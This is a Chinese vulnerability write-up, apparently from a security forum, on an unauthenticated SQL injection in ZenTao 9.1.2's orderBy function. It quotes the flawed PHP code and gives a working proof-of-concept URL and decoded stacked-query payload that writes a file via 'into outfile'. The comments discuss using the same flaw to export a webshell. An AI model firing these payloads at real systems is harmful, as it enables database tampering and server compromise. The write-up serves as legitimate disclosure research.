禅道9.1.2最新版免登陆SQL注入漏洞
该隐 漏洞分析 16502浏览 · 2017-05-10 18:39
首发:http://ecma.io/706.html

第一部分 漏洞成因

漏洞出现在zentao\lib\base\dao\dao.class.php中的orderBy函数

public function orderBy(*$order*)
{
    if($this->inCondition and !$this->conditionIsTrue) return $this;
    *$order *= *str_replace*(array('|', '', '_'), ' ', *$order*);
    /* Add "`" in order string. */
    /* When order has limit string. */
    $pos    = *stripos*(*$order*, 'limit');
    $orders = $pos ? *substr*(*$order*, 0, $pos) : *$order*;
    $limit  = $pos ? *substr*(*$order*, $pos) : '';
    $orders = *trim*($orders);
    if(empty($orders)) return $this;
    if(!*preg_match*('/^(\w+\.)?(`\w+`|\w+)( +(desc|asc))?( *(, *(\w+\.)?(`\w+`|\w+)( +(desc|asc))?)?)*$/i', $orders)) die("Order is bad request, The order is $orders");
    $orders = *explode*(',', $orders);
    foreach($orders as $i => *$order*)
    {
        $orderParse = *explode*(' ', *trim*(*$order*));
        foreach($orderParse as $key => $value)
        {
            $value = *trim*($value);
            if(empty($value) or *strtolower*($value) == 'desc' or *strtolower*($value) == 'asc') continue;
            $field = $value;
            /* such as t1.id field. */
            if(*strpos*($value, '.') !== false) list($table, $field) = *explode*('.', $field);
            if(*strpos*($field, '`') === false) $field = "`$field`";
            $orderParse[$key] = isset($table) ? $table . '.' . $field :  $field;
            unset($table);
        }
        $orders[$i] = *join*(' ', $orderParse);
        if(empty($orders[$i])) unset($orders[$i]);
    }
    *$order *= *join*(',', $orders) . ' ' . $limit;
    $this->sql .= ' ' . DAO::ORDERBY . " *$order*";
    *var_dump*($this->sql);
    return $this;
}

这是对orderBy的参数进行拼接,并且对参数进行了一系列的过滤,但是有个问题:

$pos    = *stripos*(*$order*, 'limit');
$orders = $pos ? *substr*(*$order*, 0, $pos) : *$order*;
*$order *= *join*(',', $orders) . ' ' . $limit;

你会发现,没有对limit部分做任何限制就直接拼接。也就是说,使用了orderBy这个函数的地方都有可能产生过滤。

第二部分 验证

​    参考: http://ecma.io/691.html,参数怎么构造就不详细说明了

​    URL:http://zentao.me/block-main.html?mode=getblockdata&blockid=case¶m=eyJvcmRlckJ5Ijoib3JkZXIgbGltaXQgMTtzZWxlY3QgMTIzIGludG8gb3V0ZmlsZSAnZDoveHh4LnR4dCctLSAtIiwibnVtIjoiMSwxIiwidHlwZSI6Im9wZW5lZGJ5bWUifQ

​    解码之后如下,因为可以PDO可以多语句,那么就可以update或者写文件操作。

{"orderBy":"order limit 1;select 123 into outfile 'd:/xxx.txt'-- -","num":"1,1","type":"openedbyme"}

第三部分 总结

禅道这个版本是最新的版本,使用了这个函数的地方都有可能产生注入。搜索了一下,共有十处可控:

4 条评论
某人
表情
可输入 255
wpf19****
2017-12-26 07:21 0 回复

@该隐 应该是没有目录权限吧,帮忙看看,有办法构造的有回显吗?


该隐
2017-12-25 15:25 0 回复

@wpf19** 已经很久没看这个了,没有显式,应该是那个地方本来就不会显示,linux下不能导shell没准是你的权限的问题


wpf19****
2017-12-25 15:09 0 回复

{"orderBy":"order limit 1;select 123 into outfile 'd:/xxx.txt'-- -","num":"1,1","type":"openedbyme"}


注入的话,应该怎么写能回显出来,windows下面,可以导出webshell,linux下面就导出不了了


{"orderBy":"order limit 1;select user()-- -","num":"1,1","type":"openedbyme"}

这样回显不了


bigcow
2017-05-12 01:58 0 回复

6666